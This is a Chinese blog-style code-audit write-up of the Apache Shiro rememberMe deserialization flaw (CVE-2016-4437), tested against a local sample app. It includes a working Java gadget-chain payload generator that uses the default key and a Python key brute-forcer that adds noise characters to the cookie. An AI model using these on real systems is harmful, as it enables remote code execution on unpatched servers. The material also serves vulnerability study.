shiro 反序列化漏洞-CVE-2016-4437
很早期的一个rememberMe反序列化漏洞,面试经常会问,但才想起还没从代码审计的角度分析过,所以快速分析下。
CVE描述

对cookie中的RememberMe值进行反序列化时,由于使用的默认密钥,导致数据可伪造从而触发反序列化命令执行
漏洞环境
jdk8u66
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.2.4</version>
</dependency>
这里的环境用于生成payload,后续会切换到https://github.com/apache/shiro 中提供的sample web
分析
查看shiro-core的包可以很快发现一个叫RememberMeAuthenticationToken的接口,继而找到AbstractRememberMeManager

用于实现rememberMe中的用户身份的序列化和反序列化,此处直接硬编码了默认密钥:

初始化时就会设置这个默认密钥:

其实就是设置了encryptionCipherKey和decryptionCipherKey字段,关注以下函数:
- serialize:序列化,将PrincipalCollection对象序列化
- encrypt:加密,发生在序列化后
- decrypt:解密
- deserialize:反序列化,发生在解密后,将解密的数据反序列化为PrincipalCollection对象
- rememberSerializedIdentity:存放rememberMe cookie,存的是一段字节数组
- getRememberedSerializedIdentity:取rememberMe cookie,取的是一段字节数组
然后CookieRememberMeManager又继承自AbstractRememberMeManager,所以过程应该还算比较清晰:
- 存cookie:将PrincipalCollection对象进行序列化并加密得到一段字节数组,然后使用rememberSerializedIdentity存放这段字节数组
- 取cookie:使用getRememberedSerializedIdentity取rememberMe cookie 字节数组,然后将字节数组解密并反序列化得到PrincipalCollection对象
于是我构造了:
java
package org.example.deserialization;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.io.DefaultSerializer;
import org.apache.shiro.io.SerializationException;
import org.apache.shiro.util.ByteSource;
import org.example.tools.ReflectionUtils;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class shiro {
public static Object getEvilObject() throws NotFoundException, CannotCompileException, NoSuchMethodException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor constructor = clazz.getConstructor();
Object templatesImp = constructor.newInstance();
ClassPool pool = ClassPool.getDefault();
CtClass evilCtClass = pool.makeClass("EvilClass" + System.nanoTime());
// String cmd = "java.lang.Runtime.getRuntime().exec(\"touch /tmp/success\");";
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
evilCtClass.makeClassInitializer().insertBefore(cmd);
CtClass class1 = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
byte[] evilBytecode = evilCtClass.toBytecode();
if (evilCtClass.isFrozen()){
evilCtClass.defrost();
}
evilCtClass.setSuperclass(class1);
CtClass ctClass = pool.makeClass("ctClass" + System.nanoTime());
//_bytecodes数组需要大于1
ReflectionUtils.setFieldValue(templatesImp, "_bytecodes", new byte[][]{evilBytecode, ctClass.toBytecode()});
System.out.println(evilCtClass.getName());
//_name需要和要加载的恶意类名一致
ReflectionUtils.setFieldValue(templatesImp, "_name", evilCtClass.getName());
//_transletIndex需要大于等于0
ReflectionUtils.setFieldValue(templatesImp,"_transletIndex",0);
Class clazz2 = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl");
Constructor constructor2 = clazz2.getConstructor();
ReflectionUtils.setFieldValue(templatesImp, "_tfactory", constructor2.newInstance());
BeanComparator comparator = new BeanComparator("outputProperties");
PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
ReflectionUtils.setFieldValue(priorityQueue,"queue",new Object[]{templatesImp,templatesImp});// 设置BeanComparator.compare()的参数
ReflectionUtils.setFieldValue(priorityQueue,"size",2);// 设置BeanComparator.compare()的参数
ReflectionUtils.setFieldValue(comparator,"property","outputProperties");
ReflectionUtils.setFieldValue(comparator,"comparator",comparator);
return priorityQueue;
}
public static void main(String[] args) throws IOException, ClassNotFoundException, NotFoundException, CannotCompileException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
DefaultSerializer serializer = new DefaultSerializer();
byte[] payloads = serializer.serialize(getEvilObject());
AesCipherService aes = new AesCipherService();
aes.setKeySize(128);
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.println(ciphertext);
ByteSource plaintext = aes.decrypt(ciphertext.getBytes(), key);
serializer.deserialize(plaintext.getBytes());
}
}
但在反序列化时报错:Unable to deserialze argument byte array.
经过调试发现问题出现在处理二维字节数组时:

shiro中写的forName没办法处理[[B,jdk自带的forName才可以处理。
已经确定序列化得到的payload是可以成功触发漏洞的,因此我需要一个现有的环境去做调试:
-
去https://github.com/apache/shiro clone项目,然后切换分支:
git clone https://github.com/apache/shiro.git cd shiro git checkout shiro-root-1.2.4 -
取samples目录单独构建项目,也可以直接在原项目处构建

-
环境:jdk8u66、tomcat 9.0.115
-
修改samples/web/pom.xml并使用maven构建,需要修改jstl版本,不然无法正常处理jsp
<dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> <scope>runtime</scope> </dependency> -
为了快速找链,我添加j了java agent

-
部署:

-
运行并访问:
http://localhost:8080/samples_web_war/
-
使用apifox请求触发漏洞

直接触发计算器
以下为完整触发链路:
at org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:77)
at org.apache.shiro.mgt.AbstractRememberMeManager.deserialize(AbstractRememberMeManager.java:514)
at org.apache.shiro.mgt.AbstractRememberMeManager.convertBytesToPrincipals(AbstractRememberMeManager.java:431)
at org.apache.shiro.mgt.AbstractRememberMeManager.getRememberedPrincipals(AbstractRememberMeManager.java:396)
at org.apache.shiro.mgt.DefaultSecurityManager.getRememberedIdentity(DefaultSecurityManager.java:604)
at org.apache.shiro.mgt.DefaultSecurityManager.resolvePrincipals(DefaultSecurityManager.java:492)
at org.apache.shiro.mgt.DefaultSecurityManager.createSubject(DefaultSecurityManager.java:342)
at org.apache.shiro.subject.Subject$Builder.buildSubject(Subject.java:846)
at org.apache.shiro.web.subject.WebSubject$Builder.buildWebSubject(WebSubject.java:148)
at org.apache.shiro.web.servlet.AbstractShiroFilter.createSubject(AbstractShiroFilter.java:292)
at org.apache.shiro.web.servlet.AbstractShiroFilter.doFilterInternal(AbstractShiroFilter.java:359)
at org.apache.shiro.web.servlet.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:125)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:166)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:142)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:166)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:88)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:491)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:83)
at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:643)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:72)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:344)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:398)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63)
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:939)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1832)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:973)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:491)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
at java.lang.Thread.run(Thread.java:745)
打个断点开始调试,于是我发现:

THREAD_CL_ACCESSOR.loadClass成功处理了[[B
所以问题出现在THREAD_CL_ACCESSOR:

-
无法处理
[[B的类加载器:Thread.currentThread().getContextClassLoader() = {Launcher$AppClassLoader@367} -
可以处理
[[B的类加载器:{ParallelWebappClassLoader@4107}
所以本质是类加载器的问题
java chain快速利用
下载:https://github.com/vulhub/java-chains

另外还可以填充一些垃圾字符:

这是因为在将RememberMe Cookie使用Base64.decode转换为字节数组前会使用discardNonBase64做清理:


因此并不影响payload的使用,java chain还可以使用GCM加密模式去构造payload,我大概用java chain试了几个版本:
| shiro version | CB 链 | 密钥 | 加密模式 |
|---|---|---|---|
| 1.2.4 | CB2(1.8) | kPH+bIxk5D2deZiIxcaaaA== | CCB |
| 1.4.1 | CB1(1.9) | kPH+bIxk5D2deZiIxcaaaA== | CCB |
| 1.4.2 | CB1(1.9) | kPH+bIxk5D2deZiIxcaaaA== | GCM |
| 1.9.1 | CB1(1.9) | kPH+bIxk5D2deZiIxcaaaA== | GCM |

显然高版本已经不会将密钥硬编码到代码中了
总结
写到这发现也没写个啥,再水水总结吧
- Shiro<=1.2.4:CBC+硬编码默认密钥
- 1.2.4<Shiro<1.4.2:CBC+随机AES密钥(如未自定义密钥)
- shiro>=1.4.2:GCM++随机AES密钥(如未自定义密钥)
至于密钥爆破:
-
脚本(忘记从哪拿的了):
javaimport base64 import uuid import requests import time import threading import concurrent.futures from Crypto.Cipher import AES from Crypto.Util.Padding import pad import urllib3 import warnings import os import sys import random # ============== 禁用SSL警告 ============== urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) warnings.filterwarnings("ignore", category=UserWarning, module="urllib3") # ============== 默认配置参数 ============== DEFAULT_TARGET_URL = "http://localhost:8080/samples_web_war/" DEFAULT_COOKIE_NAME = "rememberMe" DEFAULT_RESPONSE_COOKIE = "rememberMe=deleteMe" DEFAULT_KEY_FILE = "keys.txt" THREADS = 10 MAX_RETRIES = 3 RETRY_DELAY = 1 USE_PROXY = False # 改为 True 可启用代理 DEBUG = True # ============== 代理配置 ============== PROXIES = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080" } # ============== 全局变量 ============== found_key = None lock = threading.Lock() tested_count = 0 total_keys = 0 # ============== 增强版"脏字符"插入策略 =============== SAFE_NOISE_CHARS = '@$`_-' INSERT_PROB = 0.04 # 提高到 4%(原为 2%),翻倍插入概率 def add_noise_to_cookie(base64_str: str) -> str: if not base64_str: return base64_str clean = base64_str.rstrip('=') padding = '=' * (4 - len(clean) % 4) if len(clean) % 4 != 0 else '' result = [] for i, char in enumerate(clean): result.append(char) if random.random() < INSERT_PROB: noise = random.choice(SAFE_NOISE_CHARS) result.append(noise) if (i + 1) % random.randint(10, 20) == 0 and i < len(clean) - 1: noise = random.choice(SAFE_NOISE_CHARS) result.append(noise) return ''.join(result) + padding def get_user_input(): """获取用户输入配置参数""" print("=" * 70) print("Shiro RememberMe 脏数据注入爆破工具") print("✅ 插入频率提升:4% + 每10~20字符强制插入 @$`_-") print("=" * 70) target_url = input(f"[*] 请输入目标URL [默认: {DEFAULT_TARGET_URL}]: ") or DEFAULT_TARGET_URL if not target_url.startswith("http"): target_url = "http://" + target_url cookie_name = input(f"[*] 请输入请求Cookie名称 [默认: {DEFAULT_COOKIE_NAME}]: ") or DEFAULT_COOKIE_NAME response_cookie = input(f"[*] 请输入响应中的删除Cookie检测值 [默认: {DEFAULT_RESPONSE_COOKIE}]: ") or DEFAULT_RESPONSE_COOKIE while True: key_file = input(f"[*] 请输入密钥文件路径 [默认: {DEFAULT_KEY_FILE}]: ") or DEFAULT_KEY_FILE if os.path.isfile(key_file): break print(f"[-] 错误: 文件 '{key_file}' 不存在!") return target_url, cookie_name, response_cookie, key_file def encrypt_AES_CBC(msg, secretKey): try: iv = uuid.uuid4().bytes cipher = AES.new(secretKey, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(pad(msg, AES.block_size)) return iv + ciphertext except Exception as e: if DEBUG: print(f"[-] CBC 加密失败: {e}") return None def encrypt_AES_GCM(msg, secretKey): try: cipher = AES.new(secretKey, AES.MODE_GCM) ciphertext, auth_tag = cipher.encrypt_and_digest(msg) return cipher.nonce + ciphertext + auth_tag except Exception as e: if DEBUG: print(f"[-] GCM 加密失败: {e}") return None def generate_clean_cookie(key_base64: str, use_gcm=False) -> str: try: key = base64.b64decode(key_base64) if len(key) != 16: return None file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==') if use_gcm: encrypted_data = encrypt_AES_GCM(file_body, key) else: encrypted_data = encrypt_AES_CBC(file_body, key) return encrypted_data and base64.b64encode(encrypted_data).decode('utf-8') except Exception as e: if DEBUG: print(f"[-] 生成 Cookie 失败: {e}") return None # ============== 网络请求和验证 ============== def send_request_with_dirty_cookie(target_url, cookie_name, clean_cookie: str) -> requests.Response: dirty_cookie = add_noise_to_cookie(clean_cookie) cookies = {cookie_name: dirty_cookie} for attempt in range(MAX_RETRIES): try: response = requests.get( target_url, cookies=cookies, timeout=5, verify=False, allow_redirects=False, proxies=PROXIES if USE_PROXY else None ) return response except Exception as e: if attempt < MAX_RETRIES - 1: time.sleep(RETRY_DELAY) else: return None return None def is_valid_response(response: requests.Response, response_cookie: str) -> bool: if not response or not hasattr(response, 'headers'): return False set_cookie_header = response.headers.get('Set-Cookie', '') return response_cookie not in set_cookie_header def test_mode(target_url, cookie_name, response_cookie, key_base64: str, use_gcm: bool) -> bool: clean_cookie = generate_clean_cookie(key_base64, use_gcm) if not clean_cookie: return False response = send_request_with_dirty_cookie(target_url, cookie_name, clean_cookie) if not response: return False return is_valid_response(response, response_cookie) def test_key(target_url, cookie_name, response_cookie, key_base64: str) -> bool: global found_key, tested_count with lock: if found_key: return False # 只显示进度,不打印脏数据 with lock: if found_key: return False tested_count += 1 current = tested_count # 保存当前计数,避免后续变化 if current % 100 == 0: print(f"[-] 测试第 {current} 个密钥") # 测试 CBC if test_mode(target_url, cookie_name, response_cookie, key_base64, use_gcm=False): with lock: if not found_key: found_key = key_base64 final_clean = generate_clean_cookie(key_base64, False) final_dirty = add_noise_to_cookie(final_clean) print(f"\n[+] 找到有效密钥 (CBC): {key_base64}") print(f"[+] 原始 Cookie: {final_clean}") print(f"[+] 脏数据 Cookie: {final_dirty}") return True # 测试 GCM if test_mode(target_url, cookie_name, response_cookie, key_base64, use_gcm=True): with lock: if not found_key: found_key = key_base64 final_clean = generate_clean_cookie(key_base64, True) final_dirty = add_noise_to_cookie(final_clean) print(f"\n[+] 找到有效密钥 (GCM): {key_base64}") print(f"[+] 原始 Cookie: {final_clean}") print(f"[+] 脏数据 Cookie: {final_dirty}") return True return False def main(): global found_key, total_keys target_url, cookie_name, response_cookie, key_file = get_user_input() try: with open(key_file, 'r') as f: keys = [line.strip() for line in f if line.strip()] total_keys = len(keys) except Exception as e: print(f"[-] 读取密钥文件失败: {e}") return if total_keys == 0: print("[-] 密钥文件为空") return print("\n" + "=" * 70) print(f"[*] 目标URL: {target_url}") print(f"[*] 请求Cookie名称: {cookie_name}") print(f"[*] 响应检测目标: '{response_cookie}'") print(f"[*] 密钥文件: {key_file} ({total_keys} 个密钥)") print(f"[*] 开始爆破,线程数: {THREADS}") print(f"[*] 插入脏字符: {SAFE_NOISE_CHARS}(频率增强)") print("=" * 70 + "\n") start_time = time.time() with concurrent.futures.ThreadPoolExecutor(max_workers=THREADS) as executor: futures = [executor.submit(test_key, target_url, cookie_name, response_cookie, key) for key in keys] try: for future in concurrent.futures.as_completed(futures): if found_key: break except KeyboardInterrupt: print("\n[!] 用户中断") elapsed = time.time() - start_time print(f"\n[*] 测试完成,耗时: {elapsed:.2f}秒") if found_key: print(f"[+] 成功找到有效密钥: {found_key}") else: print("[-] 未找到有效密钥") if __name__ == "__main__": try: main() except KeyboardInterrupt: print("\n[!] 用户中断,程序已退出") sys.exit(0)